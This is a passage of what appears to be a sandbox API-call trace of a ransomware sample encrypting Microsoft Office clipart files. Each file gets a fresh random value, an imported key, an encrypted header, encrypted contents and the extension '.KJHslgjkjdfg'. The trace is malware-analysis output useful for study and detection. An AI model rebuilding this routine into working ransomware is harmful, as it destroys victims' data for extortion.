dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.304] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.304] GetProcessHeap () returned 0x2ef0000 [0239.304] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0239.304] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0239.304] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.304] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0239.306] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0239.306] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0239.306] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0239.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0239.306] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.306] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.306] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.307] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x75ca, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x75ca, lpOverlapped=0x0) returned 1 [0239.313] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x75d0, dwBufLen=0x75d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x75d0) returned 1 [0239.313] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.313] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x75d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x75d0, lpOverlapped=0x0) returned 1 [0239.313] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.313] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x76a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.313] SetEndOfFile (hFile=0x130) returned 1 [0239.314] GetProcessHeap () returned 0x2ef0000 [0239.314] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0239.314] GetProcessHeap () returned 0x2ef0000 [0239.314] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0239.314] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf.kjhslgjkjdfg")) returned 1 [0239.316] CloseHandle (hObject=0x130) returned 1 [0239.316] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcbb2200, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcbb2200, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x51a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01566_.WMF", cAlternateFileName="")) returned 1 [0239.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0239.319] GetProcessHeap () returned 0x2ef0000 [0239.319] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0239.319] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0239.319] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0239.320] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.384] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.384] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.384] GetProcessHeap () returned 0x2ef0000 [0239.385] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0239.385] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0239.385] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.385] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0239.385] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0239.385] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0239.385] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0239.385] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0239.385] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.385] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.385] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.385] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.386] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x51a8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x51a8, lpOverlapped=0x0) returned 1 [0239.387] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x51b0, dwBufLen=0x51b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x51b0) returned 1 [0239.387] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.387] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x51b0, lpOverlapped=0x0) returned 1 [0239.387] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.387] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.387] SetEndOfFile (hFile=0x130) returned 1 [0239.391] GetProcessHeap () returned 0x2ef0000 [0239.391] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0239.391] GetProcessHeap () returned 0x2ef0000 [0239.391] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0239.391] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf.kjhslgjkjdfg")) returned 1 [0239.393] CloseHandle (hObject=0x130) returned 1 [0239.393] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebb7200, ftCreationTime.dwHighDateTime=0x1bd4b0f, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb7200, ftLastWriteTime.dwHighDateTime=0x1bd4b0f, nFileSizeHigh=0x0, nFileSizeLow=0x54b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01568_.WMF", cAlternateFileName="")) returned 1 [0239.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0239.394] GetProcessHeap () returned 0x2ef0000 [0239.394] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0239.394] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0239.394] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0239.395] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.395] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.395] GetProcessHeap () returned 0x2ef0000 [0239.395] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0239.395] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0239.395] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.395] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0239.505] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0239.505] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0239.505] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0239.505] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0239.506] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.506] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.506] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.506] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.506] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x54b0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x54b0, lpOverlapped=0x0) returned 1 [0239.507] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x54b0, dwBufLen=0x54b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x54b0) returned 1 [0239.507] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.507] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x54b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x54b0, lpOverlapped=0x0) returned 1 [0239.508] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.508] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.508] SetEndOfFile (hFile=0x130) returned 1 [0239.511] GetProcessHeap () returned 0x2ef0000 [0239.511] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0239.511] GetProcessHeap () returned 0x2ef0000 [0239.511] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0239.511] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf.kjhslgjkjdfg")) returned 1 [0239.513] CloseHandle (hObject=0x130) returned 1 [0239.513] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb57400, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcb57400, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01569_.WMF", cAlternateFileName="")) returned 1 [0239.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0239.515] GetProcessHeap () returned 0x2ef0000 [0239.515] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0239.515] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0239.516] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0239.516] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.516] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.516] GetProcessHeap () returned 0x2ef0000 [0239.516] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0239.516] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0239.516] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.516] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0239.522] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0239.522] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0239.522] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0239.522] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0239.522] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.523] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.523] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.523] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.523] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x47a0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x47a0, lpOverlapped=0x0) returned 1 [0239.544] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x47a0, dwBufLen=0x47a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x47a0) returned 1 [0239.545] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.545] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x47a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x47a0, lpOverlapped=0x0) returned 1 [0239.545] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.545] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.545] SetEndOfFile (hFile=0x130) returned 1 [0239.548] GetProcessHeap () returned 0x2ef0000 [0239.548] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0239.548] GetProcessHeap () returned 0x2ef0000 [0239.548] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0239.548] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf.kjhslgjkjdfg")) returned 1 [0239.550] CloseHandle (hObject=0x130) returned 1 [0239.550] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd5f9e00, ftCreationTime.dwHighDateTime=0x1bd4adf, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd5f9e00, ftLastWriteTime.dwHighDateTime=0x1bd4adf, nFileSizeHigh=0x0, nFileSizeLow=0xa8a6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01575_.WMF", cAlternateFileName="")) returned 1 [0239.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0239.551] GetProcessHeap () returned 0x2ef0000 [0239.551] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0239.551] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0239.551] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0239.552] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0239.553] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.553] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.553] GetProcessHeap () returned 0x2ef0000 [0239.553] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0239.553] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0239.553] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.554] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0239.554] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0239.554] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0239.554] WriteFile 